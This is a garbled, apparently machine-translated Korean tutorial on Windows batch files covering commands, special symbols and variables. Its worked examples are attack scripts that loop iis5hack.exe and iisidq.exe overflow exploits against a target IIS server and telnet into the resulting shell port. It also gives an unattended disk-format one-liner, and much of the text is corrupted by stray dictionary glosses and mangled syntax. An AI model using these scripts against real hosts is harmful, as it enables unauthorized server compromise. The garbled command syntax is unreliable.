컴퓨터 지식 네트워크 - 컴퓨터 프로그래밍 - 배치처리란 무엇입니까?

배치처리란 무엇입니까?

필요한 순서와 매개 변수에 따라 많은 실행 작업, 일회성 실행을 준비하는 것입니다!

보통. Bat 파일! ! !

배치 튜토리얼에 정통하다

최근 약암호 바이러스가 인터넷에서 유행한다는 추측이 많다. 예를 들어, 웜. 그동안 떠들썩했던 Dvldr 이 대표적인 예이다. 이러한 바이러스의 유사점 중 하나는 배치 연결 ipc$ 를 사용하여 관리자의 비밀번호를 추측하여 서버를 제어한다는 것입니다. 바이러스는 몇 개의 파일과 몇 개의 복잡한 배치로 구성되어 있다. 일괄 처리는 진정한 프로그래밍은 아니지만 일부 아이디어는 프로그래밍과 유사합니다. 인터넷에서 일부 초보자와 교류를 통해 배치에 관심이 많고, 어느 정도 명령의 사용법을 알고 있지만 체계적인 이해가 부족하기 때문에 관심 있는 친구들이 배치에 대한 전반적인 이해를 갖도록 특별히 이 자습서를 작성하였다. 자신의 배치를 하나하나 써내다. (윌리엄 셰익스피어, 윈스턴, 독서명언) (윌리엄 셰익스피어, 윈스턴, 자신감명언)

이 자습서는 네 부분으로 나누어져 있습니다. 첫 번째 부분은 배치의 특수 명령이고, 두 번째 부분은 특수 기호와 배치이고, 세 번째 부분은 배치와 변수이며, 네 번째 부분은 완전한 사례입니다. 수업이 길기 때문에 우리는 잡지에 연재 두 개로 나눌 것이다. 이번 호에서는 우리가 먼저 한두 부분을 발표할테니, 주목해 주시기 바랍니다.

첫 번째 부분: 일괄 처리 특수 명령:

배치 파일은 일련의 명령을 BAT 확장자를 가진 실행 가능한 텍스트 파일로 결합하는 것입니다. 이러한 명령을 총칭하여 일괄 처리 명령이라고 합니다. 배치 명령을 소개하겠습니다.

1, 렘

REM 은 일반적으로 프로그램에 주석을 다는 데 사용되는 주석 명령입니다. 프로그램을 실행할 때 명령 뒤의 내용은 표시되고 실행되지 않습니다. 예:

REM, 지금 보시는 것은 논평입니다. 이 말은 집행되지 않습니다. 이후 예제에서 설명하는 모든 내용은 REM 뒤에 배치됩니다. 주의하세요.

2, 에코

ECHO 는 echo 명령입니다. 주요 매개변수는 끄기 및 켜기입니다. 일반적으로 에코 메시지는 특정 메시지를 표시하는 데 사용됩니다. 예:

메아리

위의 Rem 은 echo 를 끄는 것을 의미합니다. 즉, 실행 중인 명령이 표시되지 않습니다.

에이코, 이건 뉴스야

위의 Rem 은 "이것은 메시지입니다" 열의 표시를 나타냅니다.

구현 결과:

C: \ > 메아리. 기갑병 기초훈련 (basic armor training) 교육학 학사 (bachelor of arts in teaching) b.a.t. industries PLC (영국 세계 최대 담배 회사)

이것은 뉴스입니다.

3, 이동

고토는 점프를 의미합니다. 일괄 처리에서 ":XXX" 를 사용하여 레이블을 작성한 다음 GOTO: label 을 사용하여 레이블이 지정된 명령을 직접 실행할 수 있습니다. 예

: 레이블입니다

레임은 몸에 꼬리표가 하나 있다.

카탈로그 C:\

디렉토리 D:\

태그로 이동

REM 은 프로그램 점프 레이블 위에서 계속됩니다.

4, 전화

명령을 호출하면 배치 실행 중 다른 배치를 호출한 다음 다른 배치가 실행된 후 원래 배치를 계속할 수 있습니다. 예:

두 번째 배치. 2 의 내용. 최적의 가용 기술은 다음과 같습니다.

에코, 이것은 2 의 내용입니다.

배치 1 의 내용. 최적의 가용 기술은 다음과 같습니다.

에코, 1 의 내용입니다

호출 2. 기갑병 기초훈련 (basic armor training) 교육학 학사 (bachelor of arts in teaching) b.a.t. industries PLC (영국 세계 최대 담배 회사)

ECHO 1 및 2 의 내용이 모두 표시됩니다.

구현 결과는 다음과 같습니다.

C: \ > 1. 기갑병 기초훈련 (basic armor training) 교육학 학사 (bachelor of arts in teaching) b.a.t. industries PLC (

이것은 1 의 내용입니다.

이것은 2 의 내용이다.

1 및 2 의 내용은 모두 표시됩니다.

일시 중지

PAUSE 는 시스템 명령 실행을 중지하고 다음을 표시합니다. 예:

C: \ > 중단하다

계속하려면 아무 키나 누르십시오 ...

6, 만약

IF 조건 판단문, 구문 형식은 다음과 같습니다.

IF [NOT] ERRORLEVEL number 명령

IF [NOT] string 1==string2 명령

파일 이름 명령이 [존재하지 않음] 인 경우

설명:

[NOT] 은 "없는 경우" 를 나타내는 반환된 결과의 역수를 가져옵니다.

ERRORLEVEL 은 명령 실행 후 반환되는 종료 값입니다.

# exit 값의 숫자 범위는 0 에서 255 까지입니다. 시간 값을 판단하는 순서는 큰 것부터 작은 것까지 해야 한다. 이 조건은 반환 값이 지정된 값보다 크거나 같을 때 적용됩니다.

String1= = string 2string1및 string2 는 문자의 데이터이며 영어 문자의 대/소문자는 다른 것으로 간주됩니다. 이 조건에는 두 개의 등호 (절대 같음) 가 있어야 하며, 다음 명령은 조건이 기다리려는 후에 실행됩니다.

파일 이름이 있으면 파일 또는 디렉토리가 있음을 의미합니다.

IF ERRORLEVEL 문은 명령 뒤에 배치해야 합니다. IF ERRORLEVEL 은 명령 실행 후 반환 값을 결정합니다.

예:

1, IF [NOT] ERRORLEVEL 디지털 명령

명령 실행 후 반환 값을 감지하고 판단합니다.

메아리

방향 z:

종료 코드가 1 (실패) 이면 Rem 은 제목 1 으로 이동합니다.

오류 수준이 1 이면 1 으로 이동합니다

종료 코드가 0 (성공) 이면 Rem 은 제목 0 으로 건너뛰어 실행됩니다.

오류 수준이 0 이면 0 으로 이동합니다

: 0

Echo 명령이 성공적으로 실행되었습니다!

Rem 프로그램을 실행한 후 제목 exit 로 이동하여 종료합니다.

퇴출로 가다

: 1

Echo 명령을 실행하지 못했습니다!

Rem 프로그램을 실행한 후 제목 exit 로 이동하여 종료합니다.

퇴출로 가다

: 종료합니다

렘, 이것은 절차의 수출이다.

2, IF string 1==string2 명령

현재 변수의 값을 감지하여 판단하다.

메아리

% 1==2 인 경우 아니오로 이동합니다

에코 변수가 같습니다!

퇴출로 가다

: 아니요

에코 변수가 같지 않습니다.

퇴출로 가다

: 종료합니다

C: \ > 테스트. 박쥐 번호

3, [아니오] 파일 이름 명령이 있는 경우

구체적인 서류를 찾아 판단을 내리다.

메아리

없을 경우 autoexec.bat 는 1 으로 이동합니다

에코 파일이 성공적으로 존재합니다!

퇴출로 가다

: 1

에코 파일이 없습니다. 실패했습니다!

퇴출로 가다

: 종료합니다

너는 이 배치를 CD 와 D 판에 올려 효과를 볼 수 있다.

7, 의 경우

이 명령은 매우 특별하며 명령을 반복하는 명령입니다. FOR 는 FOR 루프에도 적용할 수 있습니다. 이 글은 먼저 기본 용법을 소개하고, 응용의 순환을 하지 않고, 나중에 응용의 순환을 설명한다. 일괄 처리에서 의 명령은 다음과 같습니다.

For [%%c] in (set) do [command] [arguments]

명령행에서 명령은 다음과 같습니다.

[%c] in (set) do [command] [arguments] 의 경우

공통 매개변수:

/L 이 집합은 처음부터 끝까지 증가하는 숫자 시퀀스를 나타냅니다. 따라서 (1, 1, 5) 는 1 2 3 4 5, (5, 1,/kloc 시퀀스를 생성합니다

/D 세트에 와일드카드 문자가 포함된 경우 디렉토리 이름과 일치하지만 파일 이름은 일치하지 않도록 지정합니다.

/F 지정된 파일에서 데이터를 변수로 읽습니다.

Eol = C- 행 주석 문자의 끝 (하나만) 을 나타냅니다

Skip = n- 파일 시작 시 무시되는 행 수를 나타냅니다.

Delims = XXX- 구분 기호 세트를 나타냅니다. 이 기본 구분 기호 세트는 공백과 탭을 대체합니다.

Tokens=x, y, m-n- 각 행의 어떤 기호가 각 반복의 for 자체에 전달되는지 나타냅니다. 이로 인해 추가 변수 이름이 지정됩니다. M-n 형식은 범위입니다. M 번째 기호는 n 번째 기호로 지정됩니다. 기호 문자열의 마지막 문자가 별표인 경우 추가 변수가 지정되고 마지막 기호를 해석한 후 해당 행의 예약된 텍스트가 적용됩니다.

Use backq- 명령을 실행할 때 역따옴표가 있는 문자열과 작은 따옴표 문자를 텍스트 문자열로 사용하고 파일 이름을 filenameset 에서 큰 따옴표로 확장할 수 있도록 하는 경우에 새 구문이 사용되도록 지정합니다.

예를 하나 들어보죠.

FOR/F "eol =;; Tokens = 2,3 * delims =, "%i in (myfile.txt) do @echo %i %j %k

Myfile.txt 의 각 행이 분석되고 세미콜론으로 시작하는 행은 무시되고 각 행의 두 번째와 세 번째 기호가 for 프로그램 본문으로 전달됩니다. 쉼표 및/또는 공백으로 구분된 기호입니다. 이 for 프로그램 본문의 문은 %i 를 참조하여 두 번째 기호를 가져오고, %j 는 세 번째 기호를 가져오고, %k 는 세 번째 기호 뒤의 나머지 기호를 모두 가져옵니다. 공백이 있는 파일 이름의 경우 파일 이름을 큰따옴표로 묶어야 합니다. 이런 방식으로 큰따옴표를 사용하려면 usebackq 옵션도 사용해야 합니다. 그렇지 않으면 큰따옴표가 분석할 문자열을 정의하는 것으로 해석됩니다.

For 문에는 %i, tokens= 옵션에는 %j 및 %k 가 구체적으로 설명되어 있습니다. 문자 "z" 또는 "z" 보다 큰 변수를 설명하려고 하지 않는 한 tokens= 한 줄에 최대 26 개의 기호를 지정할 수 있습니다. 변수 이름은 대/소문자를 구분하고 일반적이라는 것을 기억하십시오. 또한 동시에 사용되는 것은 52 대를 넘지 않는다.

인접한 문자열에 FOR /F 구문 분석 논리를 사용할 수도 있습니다. Filenameset 를 작은 따옴표로 묶어 사용합니다. 이렇게 하면 문자열이 파일에서 단일 입력 행으로 간주됩니다. 마지막으로 FOR /F 명령을 사용하여 명령의 출력을 분석할 수 있습니다. 이렇게 하려면 괄호 안의 filenameset 을 닫힌 문자열로 변경합니다. 이 문자열은 CMD.EXE 에 명령줄로 전달되고 해당 출력은 메모리로 캡처되고 파일로 분석됩니다. 자, 예를 하나 들어보죠.

For/f "usebackqdelims = ="% I in (`set `) do @ echo% I

현재 환경에서 환경 변수의 이름을 열거합니다.

다음은 매개 변수 /L 과 매개 변수 없음 사이의 차이점을 보여 주는 간단한 예입니다.

1.txt2. txt3. txt4. txt5. txt 파일을 삭제합니다.

예:

메아리

FOR /L %%F IN (1, 1, 5) DO DEL %%F.TXT

또는

%%F IN (1, 2,3,4,5 5) DO DEL %%F.TXT 의 경우

위의 두 명령의 결과는 다음과 같습니다.

C: \ > DEL 1 입니다. 텍스트 파일 (textfile)

C: \ > DEL 2. 텍스트 파일 (textfile)

C: \ > DEL 3. 텍스트 파일 (textfile)

C: \ > DEL 4. 텍스트 파일 (textfile)

C: \ > DEL 5. 텍스트 파일 (textfile)

8, 로컬 설정

배치 파일에서 환경 변경의 현지화를 시작합니다. SETLOCAL 을 실행한 후.

환경 변경은 배치 파일로 제한됩니다. 원래 설정을 복원하려면 을 (를) 실행해야 합니다.

선로가 현지를 끝내다. 배치 파일의 끝에 도달하면 각 배치 파일에 대해 다음을 수행합니다

아직 실행되지 않은 SETLOCAL 명령은 암시적 ENDLOCAL 을 갖게 됩니다.

집행하다. 예:

@ 에코 끄기

SET PATH /* 환경 변수 PATH 를 봅니다.

중단하다

SETLOCAL

SET PATH=E:\TOOLS /* 환경 변수 PATH 를 재설정합니다.

경로를 설정합니다

중단하다

로컬을 종료하다

경로를 설정합니다

위의 예에서 볼 수 있듯이 PATH 환경 변수는 1 2 차 표시 시 시스템 기본 경로입니다. E:\TOOLS 로 설정하면 E:\TOOLS 로 표시되지만, 끝나면 시스템으로 복구된 기본 경로를 볼 수 있습니다. 그러나 이 설정은 일괄 처리가 실행될 때만 유효합니다. 배치 작업이 완료되면 PATH 환경 변수가 복원됩니다.

9, 시프트

SHIFT 명령은 명령의 명령이 10 개 이상의 대치 가능한 매개변수 (%0~%9) 를 사용하도록 합니다.

메아리

에코%1%2% 3% 4% 5% 6% 7% 8% 9

변화

에코%1%2% 3% 4% 5% 6% 7% 8% 9

변화

에코%1%2% 3% 4% 5% 6% 7% 8% 9

구현 결과는 다음과 같습니다.

C: c::\ & gt;; 기어를 바꾸다. 박쥐12 3 4 5 6 7 8 91011

1 2 3 4 5 6 7 8 9

2 3 4 5 6 7 8 9 10

3 4 5 6 7 8 91011

다음은 WIN2000 기반 9 개의 배치 명령입니다.

두 번째 부분: 특수 기호 및 배치.

일부 기호는 명령줄에서 사용할 수 없지만 일부 기호는 특별한 의미를 가집니다.

1, 기호 (@)

@ in 일괄 처리는 현재 행의 반향을 끄는 것을 나타냅니다. 위에서 우리는 echo off 명령이 전체 echo 배치를 닫을 수 있다는 것을 알고 있지만 echo off 명령을 표시하지 않을 수는 없습니다. 이제 이 명령 앞에 @ 를 추가하여 모든 명령이 반향되지 않는 요구 사항을 충족하기 위해 echo off 명령이 @ 로 닫힙니다.

2. 기호 (>)

& gt 는 패스, 커버를 의미합니다. 그의 역할은 실행 후 echo 결과를 다음 범위에 전달하는 것입니다 (그러나 다음 파일도 기본 시스템 콘솔일 수 있음). 예:

1.txt 파일의 파일 내용은 다음과 같습니다.

1+ 1

C: \ > 명령을 사용합니다 Dir *. Txt> 1.txt

이 시점에서 1.txt 의 내용은 다음과 같습니다

드라이브 c 의 볼륨에 레이블이 없습니다.

볼륨 일련 번호는 30 1A- 1508 입니다.

C:\ 디렉토리

2003-03-1114: 041005 frunlog. 텍스트 파일 (textfile)

2003-04-0416: 3818598494log.txt

1.txt

2003-03-1211:43 0 ai errorlog.txt

2003-03-30 00: 35 30,571202.108.txt

파일 5 개18,630,070 바이트

0 디렉토리 1, 19 1, 542,784 바이트를 사용할 수 있습니다

& gt 명령 실행 결과가 원본 파일 내용을 덮어씁니다.

프로그램이 콘솔에 전달될 때 아무런 메아리도 발생하지 않습니다. (참고: 여기 echo 와 echo off 는 개념이 아닙니다. Echo off 는 프로그램 실행 중이나 실행 후의 반향인 입력 명령의 반향을 끕니다.

C: \ > Dir *. Txt> null

프로그램이 표시되지 않고 흔적도 없습니다.

3. 기호 (>>)

Symbol > > >: 기능과 기호는 비슷하지만 >> 가 >; & gt 위 예와 같이 반향을 콘솔로 전달할 수도 있습니다.

1.txt 파일에서 둘 다 다음과 같습니다.

1+ 1

C: \ > 명령을 사용합니다 Dir *. Txt>& gt 1.txt

이 시점에서 1.txt 의 내용은 다음과 같습니다

1+ 1

드라이브 c 의 볼륨에 레이블이 없습니다.

볼륨 일련 번호는 30 1A- 1508 입니다.

C:\ 디렉토리

2003-03-1114: 041005 frunlog. 텍스트 파일 (textfile)

2003-04-0416: 3818598494log.txt

1.txt

2003-03-1211:43 0 ai errorlog.txt

2003-03-30 00: 35 30,571202.108.txt

파일 5 개18,630,070 바이트

0 디렉토리 1, 19 1, 542,784 바이트를 사용할 수 있습니다

& gt& gt 명령 실행 결과가 원본 파일 내용에 추가됩니다.

4. 기호 (|)

| 파이프 전송 명령이란 이전 명령의 결과를 다음 명령에 전달하여 처리한다는 의미입니다. 예:

C: \ > 카탈로그 c:\ | "1508" 찾기

볼륨 일련 번호는 30 1A- 1508 입니다.

위 명령은 전체 c:\ 를 찾고 1508 문자열을 찾는 것을 의미합니다. Find 사용법에 대해서는 Find/ 직접 확인해 주세요

Format 의 자동 포맷 매개변수를 사용하지 않을 때 디스크를 자동으로 포맷합니다.

Echo y|fornat a: /s /q /v:system

Format 명령을 사용한 사람들은 format 에 상호 작용하는 이중 프로세스가 있다는 것을 알고 있으며, 사용자가 y 를 입력하여 현재 명령을 실행할지 여부를 결정해야 합니다. 이 명령 앞에 echo y 를 추가하고 echo 실행 결과 y 를 파이프 전송 문자 | 가 있는 format 에 전달하여 y 를 수동으로 입력하도록 합니다 (이 명령은 해롭습니다. 테스트 시 주의하십시오).

5. 기호 ()

특수 기호 >; ,<, 및. 주인공입니다. 순서에서, 그는 위의 세 가지 기호의 특수한 운동 에너지를 제거하고, 그것들만 기호로 삼고, 그것들의 특별한 의미는 사용하지 않는다. 예:

C: \ > 에코 테스트 > 1.txt

테스트> 1.txt

위에서 알 수 있듯이 test 는 1.txt 파일에 기록되지 않고 문자열을 표시할 때 test >: 1.txt 에 기록됩니다. 이 기호는 배치를 원격으로 작성할 때 매우 효과적입니다.

6. 기호 (&; ) 을 참조하십시오

& amp 기호를 사용하면 한 줄에 서로 다른 두 개 이상의 명령을 사용할 수 있습니다. 첫 번째 명령이 실패하면 두 번째 명령의 실행에 영향을 주지 않습니다. 예:

C: \ > 카탈로그 z: \ & 디렉토리 y: \ & 카탈로그 c:\

위 명령은 드라이브 문자 존재 여부에 관계없이 z: y: c: 의 내용을 계속 표시합니다.

7. 기호 (&; & amp)

또한 & amp& ampSymbol 에서는 한 행에 서로 다른 두 개 이상의 명령을 사용할 수 있으며 첫 번째 명령 실행이 실패할 경우 후속 명령이 실행되지 않습니다. 예:

C: \ > 카탈로그 z: \ & & amp 디렉토리 y: \ & & amp 카탈로그 c:\

위 명령은 z: 디스크가 있으면 실행하고, 디스크가 없으면 모든 후속 명령을 중지하라는 메시지를 표시합니다.

8. 기호 ("")

""기호를 사용하면 문자열에 공백을 포함할 수 있습니다. 특수 카탈로그를 입력하려면 다음 방법을 사용할 수 있습니다.

C: \ > Cd 프로그램 파일

C: \ > Cd 프로그램 ~ 1

C: \ > Cd pro*

위의 방법 모두 프로그램 파일 디렉토리에 들어갈 수 있습니다.

9. 기호 (,)

이 기호는 공백에 해당합니다. 특별한 경우에는 공백 대신 사용할 수 있습니다. 예:

C: \ > 디렉토리, c:\

10, 기호 (

을 눌러 섹션을 인쇄할 수도 있습니다 명령이 같으면 기호를 다른 대상에 사용할 수 있습니다. 격리되지만 구현 효과는 변경되지 않습니다. 실행 중 오류가 발생하면 하나의 오류 보고서만 반환되지만 프로그램은 계속 실행됩니다. 예:

카탈로그 c: \; D: \; E:\F:\

위의 명령은 다음과 같습니다.

카탈로그 C:\

디렉토리 D:\

카탈로그 E:\

카탈로그 F:\

물론 몇 가지 특수 기호도 있지만 사용 범위는 매우 작기 때문에 여기서는 일일이 설명하지 않습니다.

세 번째 부분: 배치 및 변수

배치에서 적절한 참조 변수를 사용하면 프로그램이 더 광범위하게 적용될 수 있습니다. 일괄 처리는 한 번에% 0 부터% 9 * * * 10 까지의 변수를 처리할 수 있습니다. 여기서 %0 은 기본적으로 배치의 파일 이름입니다. SHIFT 명령을 사용한 후 %0 은 (는)% 1 으로만 바꿀 수 있습니다. Shift% 1 앞에 %0 을 하나 더 추가했는데 결과는 다음과 같습니다.

C: c::\ & gt;; 기어를 바꾸다. 박쥐12 3 4 5 6 7 8 91011

기어를 바꾸다. 박쥐 1 2 3 4 5 6 7 8 9

1 2 3 4 5 6 7 8 9 10

2 3 4 5 6 7 8 91011

시스템은 각 변수를 어떻게 구분합니까? 변수를 구분하는 규칙은 문자열 중간에 있는 공백입니다. 즉, 공백을 찾으면 공백 앞의 문자를 하나의 변수로, 공백 뒤의 문자를 다른 변수로 취급합니다. 변수가 공백이 포함된 긴 디렉토리 이름인 경우 이전 섹션의 특수 기호 8 에 사용된 따옴표로 묶어야 합니다. 예:

배치 내용은 다음과 같습니다.

에코%1

%2 반향

%3 반향

명령을 입력합니다.

C: \ > 프로그램 파일 프로그램 파일 테스트

프로그램 파일

프로그램

문서

복잡한 일괄 처리 과정에서 10 개 이상의 변수를 동시에 사용할 수 있으며, 이는 시스템의 규칙과 충돌할 수 있습니다. 그렇다면 이 문제를 어떻게 해결할 수 있을까요? 현재 시스템 디렉토리가 %windir% 또는 %SystemRoot% 인 경우와 같이 SET 명령을 사용하여 현재 시스템의 환경 변수를 볼 수 있는 환경 변수라는 변수도 있습니다. 10 개 이상의 매개변수를 동시에 사용할 때 다음 프로그램에서 환경 변수로 호출할 수 있는 변수를 저장할 수 있습니다. 구체적인 사용법은 SET A=% 1 이므로 새 환경 변수의 이름을 a 로 지정하고 변수 a 를 호출할 때 %A% 라고 불러야 합니다. 환경 변수는 SHIFT 명령의 영향을 받지 않습니다. 환경 변수를 변경하려면 환경 변수를 재설정해야 합니다. 물론 변수 간에 전달하여 목적을 달성할 수도 있습니다. 예를 하나 들어보죠. 일괄 처리 프로세스는 다음과 같습니다.

메아리

설정 프로세스 =% 1

변화

비밀번호 설정 1=% 1

변화

Echo% pass%% pass1%1%2% 3% 4% 5% 6% 7% 8% 9

변화

ECHO %PASS% %PASS 1% %9

컬렉션은 =%PASS 1% 변수를 통해 통과됩니다

암호 설정 1=%9

변화

ECHO %PASS% %PASS 1% %9

명령 사용: c: \ > A B 3 4 5 6 7 8 9 10 K L 테스트

A B 3 4 5 6 7 8 9 10 K 참고: 이 줄에는 1 1 변수가 표시됩니다.

SHIFT 를 세 번 사용한 후 %9 는 l 이 되었습니다.

B L 변수를 전달한 후의 결과.

네 번째 부분: 전체 사례.

이것들은 배치 처리의 몇 가지 용법이다. 이제 이러한 사용법과 함께, 온라인에 게시된 일부 배치에 대한 상세한 분석을 통해 그 효과가 어떤지 알아보겠습니다. (데이비드 아셀, Northern Exposure (미국 TV 드라마), 성공명언) 여기 세 가지 예를 들어 자세한 분석을 하겠습니다. 절차를 그대로 유지하기 위해 내 의견은/* 뒤에 추가될 것이다.

예제 1

이 예제는 iis5hack.exe 를 사용하여. printer 취약점이 있는 호스트를 오버플로하는 배치 프로세스입니다. 사용하는 프로그램에는 시스템과 함께 제공되는 iis5hack.exe 및 telnet.exe 가 포함됩니다. Iis5hack 의 명령 형식은 다음과 같습니다.

Iis5hack & lt 대상 IP>& lt 대상 포트 >< 대상 버전 >< 오버플로우 연결 포트 > 대상 버전은 0-9 입니다. 이 10 의 숫자는 각각 다른 언어 버전과 sp 시스템 버전에 해당합니다. 우리 배치에 사용되는 명령 형식은 시작 버전 번호는 선택 사항입니다. 절차는 다음과 같습니다.

@echo off /* 명령 반향을 끕니다

"%1%" = "gotohelp/* 가% 1 이 비어 있는지 확인하고%1이 대상 IP 인 경우.

"%2%" =" 1" goto 1/* 가 %2 가 1 인지 판단하고 1 인 경우

"%2% 2%”= =" 2 "goto 2/*% 2 가 시작 버전 번호인 경우 설정되지 않은 경우

"%2%" = "3" goto3/* 이 있는 경우 일치하는 곳에서 실행됩니다.

"%2%" = = "4" 가 4 로 이동하는 경우

"%2%" = = "5" 가 5 로 이동하는 경우

"%2%" = = "6" 이 6 으로 이동하는 경우

"%2%" = = "7" 이 7 로 이동하는 경우

"%2%" = = "8" 이 8 로 이동하는 경우

없을 경우 iis5hack.exe goto file/* 은 iis5hack.exe 를 찾지 않고 로고 파일 섹션의 내용을 실행합니다.

Ping% 1-n1| find "Received = 1"/* ping 대상1

Errorlevel 1 goto error /* 반환 코드가 1 이면 오류 세그먼트가 실행됩니다 (코드 1 은 0 이 발견되지 않고 성공적으로 실행되었음을 나타냄).

Iis 5 hack%1809 88 | find "good"/* 가 대상 포트 80 을 넘치기 시작했습니다. 시스템 코드 9 가 넘친 후 연결 포트 88 이 실행 결과에서 문자열 "good" 를 찾습니다 ("good" 문자열은 오버플로가 성공한 경우에만 나타남).

오류 수준이 아닌 경우 1 goto telnet/* 오류 코드 1 (오버플로 성공) 이 없으면 telnet 섹션의 내용이 실행됩니다.

에코 운영 체제 유형 9 실패! /그렇지 않으면 이 문장을 표시합니다.

: 8 /* 아래 코드 내용은 위 내용을 참조하십시오.

Iis5hack% 1 80 8 88 | "좋은" 찾기

오류 수준이 아닌 경우 1 텔넷으로 이동

에코 운영 체제 유형 8 실패!

: 7

Iis5hack% 1 80 7 88 | "좋은" 찾기

오류 수준이 아닌 경우 1 텔넷으로 이동

에코 운영 체제 유형 7 실패!

: 6

Iis5hack% 1 80 6 88 | "좋은" 찾기

오류 수준이 아닌 경우 1 텔넷으로 이동

에코 운영 체제 유형 6 실패!

: 5

Iis5hack% 1 80 5 88 | "좋은" 찾기

오류 수준이 아닌 경우 1 텔넷으로 이동

에코 운영 체제 유형 5 실패!

: 4

Iis5hack% 1 80 4 88 | "좋은" 찾기

오류 수준이 아닌 경우 1 텔넷으로 이동

에코 운영 체제 유형 4 실패!

: 3

Iis5hack% 1 80 3 88 | "좋은" 찾기

오류 수준이 아닌 경우 1 텔넷으로 이동

에코 운영 체제 유형 3 실패!

: 2

Iis5hack% 1 80 2 88 | "좋은" 찾기

오류 수준이 아닌 경우 1 텔넷으로 이동

에코 운영 체제 유형 2 실패!

: 1

Iis5hack% 1 80 1 88 |' 좋은' 발견

오류 수준이 아닌 경우 1 텔넷으로 이동

에코 운영 체제 유형 1 실패!

: 0

Iis5hack% 1 80 0 88 | "좋은" 찾기

오류 수준이 아닌 경우 1 텔넷으로 이동

에코 운영 체제 유형 0 이 (가) 실패했습니다!

오류로 이동합니다

: 텔넷

텔넷%188/* 대상 IP 의 포트 88 에 연결하기 시작했습니다.

Goto exit /* 연결이 끊어진 후 종료 세그먼트로 건너뜁니다.

: 오류/* 오류 섹션에는 오류 후의 도움말 정보가 표시됩니다.

에코가 네트워크에 연결하지 못하거나 상대방이 취약점을 해결하지 못할 수도 있습니다! 다음 형식으로 수동으로 시도해 보십시오!

Echo IIS 5 hack[ 대상 IP] [웹 포트] [시스템 유형] [오픈 포트]

중국어 응답: 0

ECHO 중국어 +sp 1: 1

에코 영어: 2

에코 영어 +sp 1: 3

에코 일본어: 4

ECHO 일본어 +sp 1: 5

에코 한국어: 6

에코 한국어 +sp 1: 7

멕시코 에코: 8

멕시코 에코 +sp 1: 9

Goto exit /* 종료 섹션으로 이동합니다.

: file /*file 섹션에는 파일에서 찾을 수 없는 정보가 표시됩니다.

Iis5hack.exe 가 에코 파일을 찾지 못했습니다! 프로그램 실행 중지!

Goto exit /* 종료 섹션으로 이동합니다.

: help /*help 섹션에는 배치에 대한 형식 도움말이 표시됩니다.

Echo 이 프로그램은 다음과 같이 사용됩니다.

에코 IIS[ 대상 ip]

Echo IIS[ 목표 IP][ 시작 번호 9-0]

: 종료/* 종료 섹션은 프로그램 출구입니다.

이 배치는 기본적으로 순환이 없고, 단지 줄곧 하행할 뿐이다. 그래서 코드가 길어서 어렵지 않아요!

예 2

이 예는 iisidq.exe 를 사용하여 idq 취약점이 있는 시스템을 오버플로하는 배치 프로세스입니다. 사용 중인 프로그램은 iisidq.exe 와 시스템에 포함된 telnet.exe 프로그램입니다. Iisidq.exe 는 다음과 같이 사용됩니다.

운영 매개변수: 운영 체제 유형 대상 주소 웹 포트 1 오버플로우 수신 포트

여기서 입력 명령 매개변수를 입력하지 않은 경우 기본값은 "cmd.exe" 입니다.

운영 체제 유형의 인코딩 범위는 0- 14 입니다. 우리 배치에 사용되는 명령 형식은 다음과 같습니다

@echo off /* 동일 사례 1

존재하지 않으면 iisidq.exe goto file/* 은 샘플 1 과 동일합니다.

If% 1 == ""오류/* 로 이동 예 1 과 동일.

Ping% 1-n1| find "received =1"/* 예1과 동일

If 오류 수준 1 gotoerror 1/* 예 1 과 동일합니다.

Set b=% 1 /* 환경 변수 b 를 만들고 변수% 1 의 내용을 환경 변수 b 에 전달합니다. 변수 b 의 내용은 향후 대상 IP 입니다.

Set a=0 /* 환경 변수 a 를 만들고 환경 변수 a 를 0 으로 지정합니다. 전체 배치 주기가 사용되기 때문에 a 를 카운터로 사용합니다.

: no /*no 세그먼트의 시작

If %a%==0 set d=0 /* 환경 변수 a=0 이면 환경 변수 d 가 만들어지고 환경 변수 d=0 이 설정됩니다.

%a%== 1 set d= 1 /* 환경 변수 d 가 실제로 카운터로 제어되는 운영 체제 유형 코드인 경우.

%a%==2 설정 d=2 /* 변경 사항이 있는 경우.

%a%==3 인 경우 d=3 을 설정합니다

%a%==4 가 d=4 로 설정된 경우

%a%==5 인 경우 d=5 로 설정합니다

%a%==6 이 d=6 으로 설정된 경우

%a%==7 이 d=7 로 설정된 경우

%a%==9 가 d=9 로 설정된 경우

%a%== 10 이 d= 13 으로 설정된 경우

%a%== 1 1 설정 d= 14 인 경우

Goto 0 /* 변수가 완료되면 mark 0 으로 전송되어 실행됩니다.

: 1

Echo 항목 %d% 을 (를) 실행 중입니다! 대상 %b% 에 연결할 수 없습니다! 연결을 시도하는 중입니다. 잠시 기다려 주십시오. .....

: 0 /* 0 의 시작을 표시합니다

Iis idq% d%% b% 80199 | find "good"/* 형식으로 오버플로 명령을 보내고 결과에서 문자열 good 를 찾습니다 (코드 전송에 성공한 경우에만 문자열 good 를 찾을 수 있음).

오류 수준 1 goto 1/* 좋은 문자열이 없으면 점프로 전송되지 않습니다.

/* 이동 1 계속 전송을 시도합니다.

Ping127.0.0.1-n8 > nul/* ping 자신을 8 번 ping 하는 것은 8 초 동안 지연 표시를 하는 것과 같습니다.

/* 행 결과

Echo 항목 %d% 을 (를) 실행 중입니다! /* 오버플로된 운영 체제 유형을 보고합니다.

텔넷% b% 99/* 연결 오버플로우 포트

메아리. /* 빈 행을 표시합니다.

If% d% = = 14 gotoerror1/* 운영 체제 유형이14 인 경우 error/kloc-0 으로 이동합니다

% d% = =13 set a =11/* 가 카운터로 운영 체제 코드를 다시 첨부하기 시작하면.

%d%==9 가 a= 10 으로 설정된 경우

%d%==7 이면 a=9 로 설정합니다

%d%==6 이면 a=7 로 설정합니다

%d%==5 이면 a=6 으로 설정합니다

%d%==4 이면 a=5 로 설정합니다

%d%==3 이면 a=4 로 설정합니다

%d%==2 이면 a=3 으로 설정합니다

%d%== 1 설정 a=2 인 경우

%d%==0 이면 a= 1 을 설정합니다

Goto no /* 부가 가치는 점프 no 세그먼트 실행을 완료합니다.

: file /* 다음은 오류 후 도움말 팁입니다.

에이코, IIsidq.exe 는 발견하지 못했어! 이 서류와 이 서류를 같은 디렉토리에 넣어라!

퇴출로 가다

: 오류입니다

에코 오류! 대상 IP 가 인식되지 않습니다! 다음 형식으로 연결하십시오!

Echo idq[ 목표 IP]

퇴출로 가다

: 오류 1

에코 연결 실패! 대상 기계가 허점이나 네트워크 고장을 복구한 것일 수 있습니다!

에코 다음 형식으로 수동으로 시도해 주세요!

Echo iisidq[ 대상 유형] [대상 IP][ 대상 포트] [접속 방법] [오버플로우 포트]

